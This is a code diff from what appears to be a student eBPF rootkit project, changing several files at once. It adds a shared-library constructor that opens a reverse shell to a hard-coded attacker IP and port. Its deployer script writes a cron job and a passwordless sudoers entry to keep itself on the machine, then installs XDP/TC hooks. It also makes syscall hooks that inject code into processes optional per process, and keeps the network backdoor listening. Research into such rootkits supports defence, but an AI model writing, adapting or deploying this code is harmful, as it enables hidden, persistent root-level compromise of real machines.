@@ -320,9 +322,12 @@ int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
     if(err<0){
         return -1;
     }
-    char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
-    if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
-        return 0;
+
+    if(TASK_COMM_FILTER == 1){
+        char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
+        if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
+            return 0;
+        }
     }
     
     //If we are here we may have the return address stored in the map.
@@ -353,9 +358,11 @@ int sys_enter_openat(struct sys_openat_enter_ctx *ctx){
         return -1;
     }
 
-    char *task = TASK_COMM_NAME_INJECTION_TARGET_OPEN;
-    if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
-        return 0;
+    if(TASK_COMM_FILTER == 1){
+        char *task = TASK_COMM_NAME_INJECTION_TARGET_OPEN;
+        if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
+            return 0;
+        }
     }
     struct pt_regs* longscan;// = (struct pt_regs*)ctx->unused;
     bpf_probe_read(&longscan, sizeof(struct pt_regs*), &(ctx->unused));

src/helpers/Makefile

@@ -15,10 +15,10 @@ simple_timer: simple_timer.o
 	gcc -g -o simple_timer simple_timer.o
 
 simple_open.o: simple_open.c $(HEADERS)
-	clang -g -c simple_open.c
+	gcc -g -c simple_open.c
 
 simple_open: simple_open.o
-	clang -g -o simple_open simple_open.o	
+	gcc -g -o simple_open simple_open.o	
 
 execve_hijack.o: execve_hijack.c $(HEADERS)
 	gcc -g -c execve_hijack.c

src/helpers/deployer.sh

@@ -45,11 +45,16 @@ echo "***************** Marcos Sánchez Bajo *****************\n"
 echo "*******************************************************\n"
 echo ""
 
-BACKDOOR_INSTALLED=0
+## Persistence
+declare CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh"
+declare SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
+echo "$CRON_PERSIST" > /etc/cron.d/ebpfbackdoor
+echo "$SUDO_PERSIST" > /etc/sudoers.d/ebpfbackdoor
+
+# Rootkit install
 OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)
 if [[ $OUTPUT_COMM == *"xdp"* ]]; then
-   BACKDOOR_INSTALLED=1
-   echo "Backdoor is already installed"
+   echo "Rootkit is already installed"
 else
    #Install the programs
    echo -e "${BLU}Installing TC hook${NC}"
@@ -59,7 +64,3 @@ else
    /bin/sudo "$BASEDIR"/kit -t enp0s3
 fi
 
-## Persistence
-echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
-echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor
-

src/helpers/injection_lib.c

@@ -8,6 +8,8 @@
 #include <netinet/in.h>
 #include <arpa/inet.h>
 
+#define ATTACKER_IP "192.168.1.127"
+#define ATTACKER_PORT 5555
 
 __attribute__((constructor))
 static void init()
@@ -18,13 +20,13 @@ static void init()
     //Just a sample reverse shell (https://www.revshells.com/)
     pid_t pid = fork();
     if(pid==0){
-        int port = 5555;
+        int port = ATTACKER_PORT;
         struct sockaddr_in revsockaddr;
 
         int sockt = socket(AF_INET, SOCK_STREAM, 0);
         revsockaddr.sin_family = AF_INET;       
         revsockaddr.sin_port = htons(port);
-        revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.119");
+        revsockaddr.sin_addr.s_addr = inet_addr(ATTACKER_IP);
 
         connect(sockt, (struct sockaddr *) &revsockaddr, 
         sizeof(revsockaddr));

src/helpers/packager.sh

@@ -5,7 +5,7 @@
 #The current directory full path
 declare -r DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
 #The location of the file where to write the full rootkit package
-declare -r OUTPUTDIR="/home/osboxes/TFG/apps/"
+declare -r OUTPUTDIR="$DIR/../../apps/"
 #A variable to determine whether to silence output of internal commands
 declare firstvar=$1
 

src/user/include/modules/module_manager.c

@@ -123,7 +123,8 @@ int activate_all_modules_config(){
 
 int deactivate_all_modules_config(){
     //XDP
-    module_config.xdp_module.all = OFF;
+    //This is not deactivated, since it is needed for backdoor to keep listening
+    //module_config.xdp_module.all = OFF;
 
     //SCHED
     module_config.sched_module.all = OFF;